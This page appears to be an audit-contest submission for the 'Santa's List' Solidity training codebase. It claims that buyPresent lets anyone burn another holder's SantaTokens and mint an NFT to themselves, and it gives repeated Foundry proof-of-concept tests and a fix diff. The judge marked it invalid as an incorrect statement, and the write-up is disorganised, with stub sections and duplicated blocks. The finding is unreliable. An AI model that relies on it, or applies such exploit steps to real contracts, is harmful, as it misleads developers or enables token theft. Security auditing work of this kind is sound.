Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Caller can burn SantaTokens from any address in buyPresent and mint NFT to himself

Root + Impact

Description-Description

The intended flow of buyPresent is...

Root Cause

...

Impact

...

// Root cause in the codebase with @> marks to highlight the relevant section
## Summary
`buyPresent(address presentReceiver)` is intended to let `msg.sender` buy a present for someone else by burning his own tokens. But implementation does `i_santaToken.burn(presentReceiver)` instead of `burn(msg.sender)`, and then mints NFT to `msg.sender` via `_mintAndIncrement()`.
​
This allows attacker to burn tokens from ANY address that holds SantaTokens and mint NFT for himself, without approval, without owning tokens.
​
## Vulnerability Details
File: SantasList.sol L172-L185
​
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // @> BUG: should be msg.sender
_mintAndIncrement(); // mints to msg.sender, not presentReceiver
}
​
- `burn` only checks msg.sender == i_santasList, it doesn't check allowance or balance owner approval. So SantasList can burn anyone.
- Attacker calls buyPresent(victim) where victim has 1e18 SantaTokens
- Victim's tokens are burnt, attacker gets NFT.
​
## Impact
High - Breaks token accounting, griefing, unauthorized burning of user funds, free minting. No privileges required.
​
## Proof of Concept
​
```solidity
function test_BuyPresent_BurnsAnyone() public {
address santa = makeAddr("santa");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
SantasList list = new SantasList(santa);
SantaToken token = list.i_santaToken();
// Santa gives victim a present (mints token)
vm.prank(santa);
list.checkList(victim, SantasList.Status.NICE);
vm.prank(santa);
list.checkTwice(victim, SantasList.Status.NICE);
vm.prank(victim);
list.collectPresent(); // victim now has 1e18 SantaToken
​
assertEq(token.balanceOf(victim), 1e18);
​
// Attacker with 0 balance calls buyPresent(victim)
vm.prank(attacker);
list.buyPresent(victim);
​
// Victim burned, attacker got NFT
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}

Risk

Likelihood:anyone can call with any address.

Impact:direct loss of user funds.

Proof of Concept-PoC Explanation

Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
Attacker holds 0 tokens.

Steps to reproduce:

PoC Code

function test_BurnAnyone() public {
vm.prank(santa); list.checkList(victim, Status.NICE);
vm.prank(santa); list.checkTwice(victim, Status.NICE);
vm.prank(victim); list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker); list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}

Result

Before: victim 1e18 tokens, attacker 0 NFT
After: victim 0 tokens, attacker 1 NFT
This proves unauthorized burn + free mint

Run: forge test --match-test test_BurnAnyone -vvvv

Result

Before: victim 1e18, attacker 0 NFT
After: victim 0, attacker 1 NFT
This proves unauthorized burn + free mint.

Run: forge test --match-test test_BurnAnyone -vvvv

}

## PoC Explanation
Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
​
Steps to reproduce:
1. Santa calls checkList(victim, NICE) and checkTwice(victim, NICE)
2. Victim calls collectPresent() -> gets 1e18 SantaToken
3. Attacker (0 balance) calls buyPresent(victim)
4. Contract executes i_santaToken.burn(victim) - burns victim's tokens
5. Contract executes _mintAndIncrement() - mints NFT to attacker (msg.sender)
​
Expected: burn should be from msg.sender
Actual: burn is from arbitrary address passed as param
​
## Steps to Run
File: test/BuyPresentBug.t.sol
forge test --match-test test_BurnAnyone -vvvv
​
## PoC Code
function test_BurnAnyone() public {
vm.prank(santa);
list.checkList(victim, Status.NICE);
vm.prank(santa);
list.checkTwice(victim, Status.NICE);
vm.prank(victim);
list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker);
list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}
​
## Result
Before attack: victim 1e18 tokens, attacker 0 NFTs
After attack: victim 0 tokens, attacker 1 NFT
Logs show attacker can drain any holder and mint for free.

Recommended Mitigation-SantaToken.burn() already restricts caller to SantasList, but SantasList must ensure it only burns msg.sender balance, not arbitrary address.

- remove this code
+ add this code
- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
- }
+ function buyPresent(address presentReceiver) external {
+ i_santaToken.burn(msg.sender);
+ _mint(presentReceiver, ...);
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!